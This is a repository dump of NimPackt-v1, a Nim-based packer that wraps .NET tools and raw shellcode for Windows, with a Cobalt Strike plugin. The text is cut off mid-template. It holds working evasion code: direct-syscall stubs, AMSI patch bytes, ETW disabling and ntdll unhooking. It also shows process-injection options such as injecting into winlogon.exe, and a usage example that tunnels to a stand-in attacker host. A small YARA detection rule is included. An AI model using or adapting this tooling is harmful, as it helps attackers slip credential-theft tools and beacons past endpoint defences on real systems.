├── .gitignore ├── assets ├── cna_plugin.png ├── Nimpackt-Logo-Blacktext.png └── AntiScan-Results-CSBeacon.png ├── dist └── shellycoat_x64.bin ├── NimPackt.yar ├── LICENSE ├── NimPackt.cna ├── README.md ├── templates ├── syscalls.nim └── NimPackt-Template.nim └── NimPackt.py /.gitignore: -------------------------------------------------------------------------------- 1 | output 2 | output/* 3 | *.exe 4 | .* -------------------------------------------------------------------------------- /assets/cna_plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPackt-v1/main/assets/cna_plugin.png -------------------------------------------------------------------------------- /dist/shellycoat_x64.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPackt-v1/main/dist/shellycoat_x64.bin -------------------------------------------------------------------------------- /assets/Nimpackt-Logo-Blacktext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPackt-v1/main/assets/Nimpackt-Logo-Blacktext.png -------------------------------------------------------------------------------- /assets/AntiScan-Results-CSBeacon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/NimPackt-v1/main/assets/AntiScan-Results-CSBeacon.png -------------------------------------------------------------------------------- /NimPackt.yar: -------------------------------------------------------------------------------- 1 | rule HKTL_Nim_NimPackt : EXE FILE HKTL 2 | { 3 | meta: 4 | description = "Detects binaries generated with NimPackt v1" 5 | author = "Cas van Cooten" 6 | reference = "https://github.com/chvancooten/NimPackt-v1" 7 | date = "2022-01-26" 8 | 9 | strings: 10 | $nim1 = "fatal.nim" ascii fullword 11 | $nim2 = "winim" ascii 12 | $np1 = { 4E 69 6D 50 61 63 6B 74 } 13 | $sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 } 14 | $sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 } 15 | $sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A } 16 | 17 | condition: 18 | uint16(0) == 0x5A4D and 19 | (1 of ($nim*)) and 20 | ($np1 or (2 of ($sus*))) and 21 | filesize < 750KB 22 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Cas van Cooten (@chvancooten) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /NimPackt.cna: -------------------------------------------------------------------------------- 1 | sub compile { 2 | %options = $3; 3 | 4 | # Get the base command based on the chosen option 5 | if (%options["injectiontype"] eq "local thread") { 6 | 7 | @command = @("python3", script_resource("NimPackt.py"), "-i", "/tmp/beacon.bin", "-e", "shinject", "-f", %options["filetype"]); 8 | 9 | } 10 | else if (%options["injectiontype"] eq "remote thread, sacrificial process") { 11 | 12 | @command = @("python3", script_resource("NimPackt.py"), "-i", "/tmp/beacon.bin", "-e", "shinject", "-r", "-t", %options["targetproc"], "-f", %options["filetype"]); 13 | 14 | } 15 | else { 16 | 17 | @command = @("python3", script_resource("NimPackt.py"), "-i", "/tmp/beacon.bin", "-e", "shinject", "-r", "-E", "-t", %options["targetproc"], "-f", %options["filetype"]); 18 | 19 | } 20 | 21 | # Architecture 22 | if (%options["arch86"] eq "true") { 23 | $data = artifact_payload(%options["listener"], "raw", "x86"); 24 | push(@command, "-32") 25 | } 26 | else { 27 | $data = artifact_payload(%options["listener"], "raw", "x64"); 28 | } 29 | 30 | # Write payload 31 | $cradle = openf(">/tmp/beacon.bin"); 32 | writeb($cradle, $data); 33 | closef($cradle); 34 | 35 | # No syscalls 36 | if (%options["ns"] eq "true") { 37 | push(@command, "-ns") 38 | } 39 | 40 | # No API unhooking 41 | if (%options["nu"] eq "true") { 42 | push(@command, "-nu") 43 | } 44 | 45 | # Add sleep 46 | if (%options["sleep"] eq "true") { 47 | push(@command, "-s") 48 | } 49 | 50 | exec(@command); 51 | 52 | show_message("NimPackt initiated, compiling may take some time. Output will be saved to the 'output' folder in your NimPackt installation directory. To trigger dll payloads: 'rundll32 payload.dll,IconSrv'."); 53 | } 54 | 55 | 56 | popup attacks { 57 | item "NimPackt Payload" { 58 | local('$dialog %defaults'); 59 | # setup our defaults 60 | %defaults["injectiontype"] = "local thread"; 61 | %defaults["filetype"] = "dll"; 62 | %defaults["targetproc"] = "explorer.exe"; 63 | %defaults["nu"] = "true"; 64 | 65 | # create our dialog 66 | $dialog = dialog("Generate NimPackt executable binary", %defaults, &compile); 67 | dialog_description($dialog, "Generate a NimPackt payload. Select the payload type and behaviour. To trigger dll payloads: 'rundll32 payload.dll,IconSrv'."); 68 | drow_listener_stage($dialog, "listener", "Listener: "); 69 | drow_combobox($dialog, "injectiontype", "Injection type:", @("local thread", "remote thread, sacrificial process", "remote thread, existing process")); 70 | drow_text($dialog, "targetproc", "Target process (remote injection only):"); 71 | drow_combobox($dialog, "filetype", "File type:", @("dll", "exe")); 72 | drow_checkbox($dialog, "ns", "Direct Syscalls: ", "Do \UNOT\U use direct syscalls to run shellcode."); 73 | drow_checkbox($dialog, "nu", "API Unhooking: ", "Do \UNOT\U unhook user-mode API calls (ntdll) in target thread."); 74 | drow_checkbox($dialog, "sleep", "Sandbox Evasion: ", "Perform calcluations for 30s-1m before executing."); 75 | drow_checkbox($dialog, "arch86", "Architecture: ", "Use x86 payload."); 76 | dbutton_action($dialog, "Generate"); 77 | 78 | # show our dialog 79 | dialog_show($dialog); 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![NimPackt](assets/Nimpackt-Logo-Blacktext.png) 2 | 3 | # A Nim-based packer for .NET executables and raw shellcode 4 | 5 | *By **Cas van Cooten** ([@chvancooten](https://twitter.com/chvancooten))* 6 | 7 | *With special thanks to Marcello Salvati ([@byt3bl33der](https://twitter.com/byt3bl33d3r)) and Fabian Mosch ([@S3cur3Th1sSh1t](https://twitter.com/ShitSecure))* 8 | 9 | ## Description 10 | 11 | **Update:** _NimPackt-v1 is among the worst code I have ever written (I was just starting out learning Nim). Because of this, I started on a full rewrite of NimPackt, dubbed 'NimPackt-NG' (currently still private). With this re-write, I decided to open-source the old branch ("NimPackt-v1"). As such, this branch is no longer maintained and comes without any form of warranty or support. PRs are always welcome, of course :)_ 12 | 13 | NimPackt is a Nim-based packer for .NET (C#) executables and shellcode targeting Windows. It automatically wraps the payload in a Nim binary that is compiled to Native C and as such harder to detect and reverse engineer. There are two main execution methods: 14 | - `Execute-Assembly` re-packs a .NET executable and runs it, optionally applying evasive measures such as API unhooking, AMSI patching, or disabling ETW. 15 | - `Shinject` takes raw a .bin file with raw, position-independent shellcode and executes it locally or in a remote process, optionally using direct syscalls to trigger the shellcode or patching API hooks to evade EDR. 16 | 17 | Currently, NimPackt has the following features. 18 | 19 | - Uses static syscalls to patch execute to evade EDR 20 | - Unhooks user-mode APIs for spawned thread by refreshing `NTDLL.dll` using [ShellyCoat](https://github.com/slaeryan/AQUARMOURY/tree/master/Shellycoat) 21 | - Patches Event Tracing for Windows (ETW) 22 | - Patches the Anti-Malware Scan Interface (AMSI) 23 | - AES-encrypts payload with random key to prevent static analysis or fingerprinting 24 | - Compiles to `exe` or `dll` 25 | - Supports cross-platform compilation (from both Linux and Windows) 26 | - Integrates with CobaltStrike for ezpz payload generation 😎 27 | 28 | A great source for C#-based binaries for offensive tooling can be found [here](https://github.com/Flangvik/SharpCollection). It is highly recommended to compile the C# binaries yourself. Even though embedded binaries are encrypted, you should obfuscate sensitive binaries (such as Mimikatz) to lower the risk of detection. 29 | 30 | ## Installation 31 | 32 | > If you are having issues compiling the binary with Syscalls, try downgrading your GCC to version 8.1.0 (especially on Windows). ALWAYS test generated payloads! 33 | 34 | On **Linux**, simply install the required packages and use the Nimble package installer to install the required packages and Python libraries. 35 | 36 | ``` 37 | sudo apt install -y python3 mingw-w64 nim 38 | pip3 install pycryptodome argparse 39 | nimble install winim nimcrypto 40 | ``` 41 | 42 | On **Windows**, execute the Nim installer from [here](https://nim-lang.org/install_windows.html). Make sure to install `mingw` and set the path values correctly using the provided `finish.exe` utility. If you don't have Python3 install that, then install the required packages as follows. 43 | 44 | ``` 45 | nimble install winim nimcrypto 46 | pip3 install pycryptodome argparse 47 | ``` 48 | 49 | ### CobaltStrike Plugin 50 | 51 | To install the CobaltStrike plugin, select `Cobalt Strike` -> `Script Manager` from the menu bar, and select `Load`. Make sure to load the `.cna` file from it's original location, otherwise it won't be able to find the NimPackt script files! 52 | 53 | ![NimPackt](assets/cna_plugin.png) 54 | 55 | 56 | ## Usage 57 | 58 | ``` 59 | usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r] 60 | [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S] 61 | [-d] [-v] [-V] 62 | 63 | required arguments: 64 | -e EXECUTIONMODE, --executionmode EXECUTIONMODE 65 | Execution mode of the packer. Supports "execute-assembly" or "shinject" 66 | -i INPUTFILE, --inputfile INPUTFILE 67 | C# .NET binary executable (.exe) or shellcode (.bin) to wrap 68 | 69 | execute-assembly arguments: 70 | -a ARGUMENTS, --arguments ARGUMENTS 71 | Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run- 72 | time arguments (default) 73 | -na, --nopatchamsi Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI) 74 | -ne, --nodisableetw Do NOT disable Event Tracing for Windows (ETW) 75 | 76 | shinject arguments: 77 | -r, --remote Inject shellcode into remote process (default false) 78 | -t INJECTTARGET, --target INJECTTARGET 79 | Remote thread targeted for remote process injection 80 | -E, --existing Remote inject into existing process rather than a newly spawned one (default 81 | false, implies -r) (WARNING: VOLATILE) 82 | 83 | other arguments: 84 | -o OUTPUTFILE, --outfile OUTPUTFILE 85 | Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension 86 | or path. This property will be stored in the output binary as the original 87 | filename 88 | -nu, --nounhook Do NOT unhook user-mode API hooks in the target process by loading a fresh 89 | NTDLL.dll 90 | -ns, --nosyscalls Do NOT use direct syscalls (Windows generation 7-10) instead of high-level 91 | APIs to evade EDR 92 | -f FILETYPE, --filetype FILETYPE 93 | Filetype to compile ("exe" or "dll", default: "exe") 94 | -s, --sleep Sleep for approx. 30 seconds by calculating primes 95 | -32, --32bit Compile in 32-bit mode (untested) 96 | -S, --showConsole Show a console window with the app's output when running 97 | -d, --debug Enable debug mode (retains .nim source file in output folder) 98 | -v, --verbose Print debug messages of the wrapped binary at runtime 99 | -V, --version show program's version number and exit 100 | ``` 101 | 102 | **Examples:** 103 | 104 | ```bash 105 | # Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime 106 | python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v 107 | 108 | # Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs) 109 | python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt" 110 | 111 | # Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime 112 | python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks' 113 | 114 | # Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well 115 | # Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin' 116 | python3 NimPackt.py -i calc.bin -e shinject -f dll 117 | 118 | # Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window 119 | python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe" 120 | 121 | # Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL 122 | python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns 123 | ``` 124 | 125 | Binaries are stored in the `output` subfolder of your installation directory. Generated `dll` files can be executed as follows (entry point can be changed in the Nim template): 126 | 127 | ```powershell 128 | rundll32 exampleShinjectNimPackt.dll,IconSrv 129 | ``` -------------------------------------------------------------------------------- /templates/syscalls.nim: -------------------------------------------------------------------------------- 1 | {.passC:"-masm=intel".} 2 | 3 | # Contains direct syscalls 4 | # Generated with NimlineWhispers2 by ajpc500 5 | # Function names are renamed since they will be readable in the binary 6 | 7 | # NtAllocateVirtualMemory -> nWEpirsdHAHLmkkz 8 | # NtWriteVirtualMemory -> eodmammwgdehtZKC 9 | # NtOpenProcess -> GALPYIdGzuLQOpTx 10 | # NtCreateThreadEx -> MrvSSHuatQxosGly 11 | # NtClose -> pCsHHYfYZhNuUXYy 12 | # NtProtectVirtualMemory -> OWMMatfEEuAkFGyd 13 | 14 | type 15 | PS_ATTR_UNION* {.pure, union.} = object 16 | Value*: ULONG 17 | ValuePtr*: PVOID 18 | PS_ATTRIBUTE* {.pure.} = object 19 | Attribute*: ULONG 20 | Size*: SIZE_T 21 | u1*: PS_ATTR_UNION 22 | ReturnLength*: PSIZE_T 23 | PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE 24 | PS_ATTRIBUTE_LIST* {.pure.} = object 25 | TotalLength*: SIZE_T 26 | Attributes*: array[2, PS_ATTRIBUTE] 27 | PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST 28 | 29 | {.emit: """ 30 | #pragma once 31 | 32 | // Code below is adapted from @modexpblog. Read linked article for more details. 33 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 34 | 35 | #ifndef SW2_HEADER_H_ 36 | #define SW2_HEADER_H_ 37 | 38 | #include 39 | 40 | #define SW2_SEED 0x81DC70F1 41 | #define SW2_ROL8(v) (v << 8 | v >> 24) 42 | #define SW2_ROR8(v) (v >> 8 | v << 24) 43 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 44 | #define SW2_MAX_ENTRIES 500 45 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 46 | 47 | // Typedefs are prefixed to avoid pollution. 48 | 49 | typedef struct _SW2_SYSCALL_ENTRY 50 | { 51 | DWORD Hash; 52 | DWORD Address; 53 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 54 | 55 | typedef struct _SW2_SYSCALL_LIST 56 | { 57 | DWORD Count; 58 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 59 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 60 | 61 | typedef struct _SW2_PEB_LDR_DATA { 62 | BYTE Reserved1[8]; 63 | PVOID Reserved2[3]; 64 | LIST_ENTRY InMemoryOrderModuleList; 65 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 66 | 67 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 68 | PVOID Reserved1[2]; 69 | LIST_ENTRY InMemoryOrderLinks; 70 | PVOID Reserved2[2]; 71 | PVOID DllBase; 72 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 73 | 74 | typedef struct _SW2_PEB { 75 | BYTE Reserved1[2]; 76 | BYTE BeingDebugged; 77 | BYTE Reserved2[1]; 78 | PVOID Reserved3[2]; 79 | PSW2_PEB_LDR_DATA Ldr; 80 | } SW2_PEB, *PSW2_PEB; 81 | 82 | DWORD SW2_HashSyscall(PCSTR FunctionName); 83 | BOOL SW2_PopulateSyscallList(); 84 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); 85 | 86 | #endif 87 | 88 | 89 | // Code below is adapted from @modexpblog. Read linked article for more details. 90 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 91 | 92 | SW2_SYSCALL_LIST SW2_SyscallList = {0,1}; 93 | 94 | DWORD SW2_HashSyscall(PCSTR FunctionName) 95 | { 96 | DWORD i = 0; 97 | DWORD Hash = SW2_SEED; 98 | 99 | while (FunctionName[i]) 100 | { 101 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); 102 | Hash ^= PartialName + SW2_ROR8(Hash); 103 | } 104 | 105 | return Hash; 106 | } 107 | 108 | BOOL SW2_PopulateSyscallList() 109 | { 110 | // Return early if the list is already populated. 111 | if (SW2_SyscallList.Count) return TRUE; 112 | 113 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); 114 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 115 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 116 | PVOID DllBase = NULL; 117 | 118 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 119 | // in the list, so its safer to loop through the full list and find it. 120 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 121 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 122 | { 123 | DllBase = LdrEntry->DllBase; 124 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 125 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 126 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 127 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 128 | if (VirtualAddress == 0) continue; 129 | 130 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 131 | 132 | // If this is NTDLL.dll, exit loop. 133 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 134 | 135 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; 136 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; 137 | } 138 | 139 | if (!ExportDirectory) return FALSE; 140 | 141 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 142 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 143 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 144 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 145 | 146 | // Populate SW2_SyscallList with unsorted Zw* entries. 147 | DWORD i = 0; 148 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 149 | do 150 | { 151 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 152 | 153 | // Is this a system call? 154 | if (*(USHORT*)FunctionName == 'wZ') 155 | { 156 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 157 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 158 | 159 | i++; 160 | if (i == SW2_MAX_ENTRIES) break; 161 | } 162 | } while (--NumberOfNames); 163 | 164 | // Save total number of system calls found. 165 | SW2_SyscallList.Count = i; 166 | 167 | // Sort the list by address in ascending order. 168 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 169 | { 170 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 171 | { 172 | if (Entries[j].Address > Entries[j + 1].Address) 173 | { 174 | // Swap entries. 175 | SW2_SYSCALL_ENTRY TempEntry; 176 | 177 | TempEntry.Hash = Entries[j].Hash; 178 | TempEntry.Address = Entries[j].Address; 179 | 180 | Entries[j].Hash = Entries[j + 1].Hash; 181 | Entries[j].Address = Entries[j + 1].Address; 182 | 183 | Entries[j + 1].Hash = TempEntry.Hash; 184 | Entries[j + 1].Address = TempEntry.Address; 185 | } 186 | } 187 | } 188 | 189 | return TRUE; 190 | } 191 | 192 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 193 | { 194 | // Ensure SW2_SyscallList is populated. 195 | if (!SW2_PopulateSyscallList()) return -1; 196 | 197 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 198 | { 199 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 200 | { 201 | return i; 202 | } 203 | } 204 | 205 | return -1; 206 | } 207 | 208 | """.} 209 | 210 | 211 | proc nWEpirsdHAHLmkkz*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} = 212 | asm """ 213 | mov [rsp +8], rcx 214 | mov [rsp+16], rdx 215 | mov [rsp+24], r8 216 | mov [rsp+32], r9 217 | sub rsp, 0x28 218 | mov ecx, 0x01992691D 219 | call SW2_GetSyscallNumber 220 | add rsp, 0x28 221 | mov rcx, [rsp +8] 222 | mov rdx, [rsp+16] 223 | mov r8, [rsp+24] 224 | mov r9, [rsp+32] 225 | mov r10, rcx 226 | syscall 227 | ret 228 | """ 229 | 230 | proc eodmammwgdehtZKC*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} = 231 | asm """ 232 | mov [rsp +8], rcx 233 | mov [rsp+16], rdx 234 | mov [rsp+24], r8 235 | mov [rsp+32], r9 236 | sub rsp, 0x28 237 | mov ecx, 0x00F9F18F1 238 | call SW2_GetSyscallNumber 239 | add rsp, 0x28 240 | mov rcx, [rsp +8] 241 | mov rdx, [rsp+16] 242 | mov r8, [rsp+24] 243 | mov r9, [rsp+32] 244 | mov r10, rcx 245 | syscall 246 | ret 247 | """ 248 | 249 | proc GALPYIdGzuLQOpTx*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} = 250 | asm """ 251 | mov [rsp +8], rcx 252 | mov [rsp+16], rdx 253 | mov [rsp+24], r8 254 | mov [rsp+32], r9 255 | sub rsp, 0x28 256 | mov ecx, 0x0CEA3CF3F 257 | call SW2_GetSyscallNumber 258 | add rsp, 0x28 259 | mov rcx, [rsp +8] 260 | mov rdx, [rsp+16] 261 | mov r8, [rsp+24] 262 | mov r9, [rsp+32] 263 | mov r10, rcx 264 | syscall 265 | ret 266 | """ 267 | 268 | proc MrvSSHuatQxosGly*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} = 269 | asm """ 270 | mov [rsp +8], rcx 271 | mov [rsp+16], rdx 272 | mov [rsp+24], r8 273 | mov [rsp+32], r9 274 | sub rsp, 0x28 275 | mov ecx, 0x082A2D078 276 | call SW2_GetSyscallNumber 277 | add rsp, 0x28 278 | mov rcx, [rsp +8] 279 | mov rdx, [rsp+16] 280 | mov r8, [rsp+24] 281 | mov r9, [rsp+32] 282 | mov r10, rcx 283 | syscall 284 | ret 285 | """ 286 | 287 | proc pCsHHYfYZhNuUXYy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} = 288 | asm """ 289 | mov [rsp +8], rcx 290 | mov [rsp+16], rdx 291 | mov [rsp+24], r8 292 | mov [rsp+32], r9 293 | sub rsp, 0x28 294 | mov ecx, 0x02CDBC697 295 | call SW2_GetSyscallNumber 296 | add rsp, 0x28 297 | mov rcx, [rsp +8] 298 | mov rdx, [rsp+16] 299 | mov r8, [rsp+24] 300 | mov r9, [rsp+32] 301 | mov r10, rcx 302 | syscall 303 | ret 304 | """ 305 | 306 | proc OWMMatfEEuAkFGyd*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} = 307 | asm """ 308 | mov [rsp +8], rcx 309 | mov [rsp+16], rdx 310 | mov [rsp+24], r8 311 | mov [rsp+32], r9 312 | sub rsp, 0x28 313 | mov ecx, 0x00390EF05 314 | call SW2_GetSyscallNumber 315 | add rsp, 0x28 316 | mov rcx, [rsp +8] 317 | mov rdx, [rsp+16] 318 | mov r8, [rsp+24] 319 | mov r9, [rsp+32] 320 | mov r10, rcx 321 | syscall 322 | ret 323 | """ -------------------------------------------------------------------------------- /templates/NimPackt-Template.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | NimPackt - a Nim-Based C# (.NET) binary executable wrapper for OpSec & Profit 3 | By Cas van Cooten (@chvancooten) 4 | 5 | This is a template file. For usage please refer to README.md 6 | 7 | === 8 | 9 | References: 10 | 11 | Based on OffensiveNim by Marcello Salvati (@byt3bl33d3r) 12 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/execute_assembly_bin.nim 13 | https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/amsi_amsiPatch_bin.nim 14 | 15 | Also inspired by the below post by Fabian Mosch (@S3cur3Th1sSh1t) 16 | https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ 17 | 18 | Direct syscalls implemented using NimlineWhispers2 by Alfie Champion (@ajpc500) 19 | https://github.com/ajpc500/NimlineWhispers2 20 | 21 | ]# 22 | 23 | import nimcrypto 24 | import winim/lean 25 | import os 26 | import dynlib 27 | import base64 28 | import osproc 29 | import math 30 | from bitops import bitor 31 | 32 | when defined remoteShinject: 33 | import winim/com 34 | 35 | when defined executeAssembly: 36 | import winim/clr except `[]` 37 | 38 | when defined syscalls: 39 | include ../templates/syscalls 40 | from winlean import getCurrentProcess 41 | 42 | const NimPackt = "NimPackt" # Weird, there used to be more opsec here 43 | 44 | func toByteSeq*(str: string): seq[byte] {.inline.} = 45 | @(str.toOpenArrayByte(0, str.high)) 46 | 47 | # BELOW LINE WILL BE REPLACED BY WRAPPER SCRIPT || EXAMPLE: const cryptKey: array[16, byte] = [byte 0x50,0x61,0x4e, ...] 48 | #[ PLACEHOLDERCRYPTKEY ]# 49 | var tProcId : DWORD 50 | 51 | when defined calcPrimes: 52 | proc cPrim(seconds: int): int {.noinline.} = 53 | var finalPrime: int = 0 54 | var max: int = seconds * 68500 55 | 56 | when defined verbose: 57 | echo "[*] Sleeping for approx. ", time, " seconds" 58 | 59 | for n in countup(2, max): 60 | var ok: bool = true 61 | var i: int = 2 62 | 63 | while i.float <= sqrt(n.float): 64 | if (n mod i == 0): 65 | ok = false 66 | inc(i) 67 | 68 | if n <= 1: 69 | ok = false 70 | elif n == 2: 71 | ok = true 72 | if ok == true: 73 | finalPrime = n 74 | 75 | return finalPrime 76 | 77 | when defined patchAmsi: 78 | proc pAms(): bool = 79 | # Get the AMSI patch bytes based on arch 80 | when defined amd64: 81 | let aPatch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 82 | elif defined i386: 83 | let aPatch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 84 | 85 | var 86 | amsi: LibHandle 87 | disabled: bool = false 88 | sbAddr: pointer 89 | 90 | amsi = loadLib("amsi") 91 | if isNil(amsi): 92 | when defined verbose: 93 | echo "[X] Failed to load amsi.dll" 94 | return disabled 95 | 96 | sbAddr = amsi.symAddr("AmsiScanBuffer") 97 | 98 | if isNil(sbAddr): 99 | when defined verbose: 100 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 101 | return disabled 102 | 103 | when defined syscalls: 104 | # NtProtectVirtualMemory 105 | var op: ULONG 106 | var pLen = cast[SIZE_T](aPatch.len) 107 | var sbPageAddr = sbAddr 108 | var ret = OWMMatfEEuAkFGyd(getCurrentProcess(), &sbPageAddr, &pLen, PAGE_EXECUTE_READWRITE, &op) 109 | 110 | # NtWriteVirtualMemory 111 | var bytesWritten: SIZE_T 112 | ret = eodmammwgdehtZKC(getCurrentProcess(), sbAddr, unsafeAddr aPatch, aPatch.len, addr bytesWritten) 113 | 114 | # NtProtectVirtualMemory 115 | var t: ULONG 116 | ret = OWMMatfEEuAkFGyd(getCurrentProcess(), &sbPageAddr, &pLen, op, &t) 117 | 118 | disabled = true 119 | else: 120 | var op: DWORD 121 | var t: DWORD 122 | if 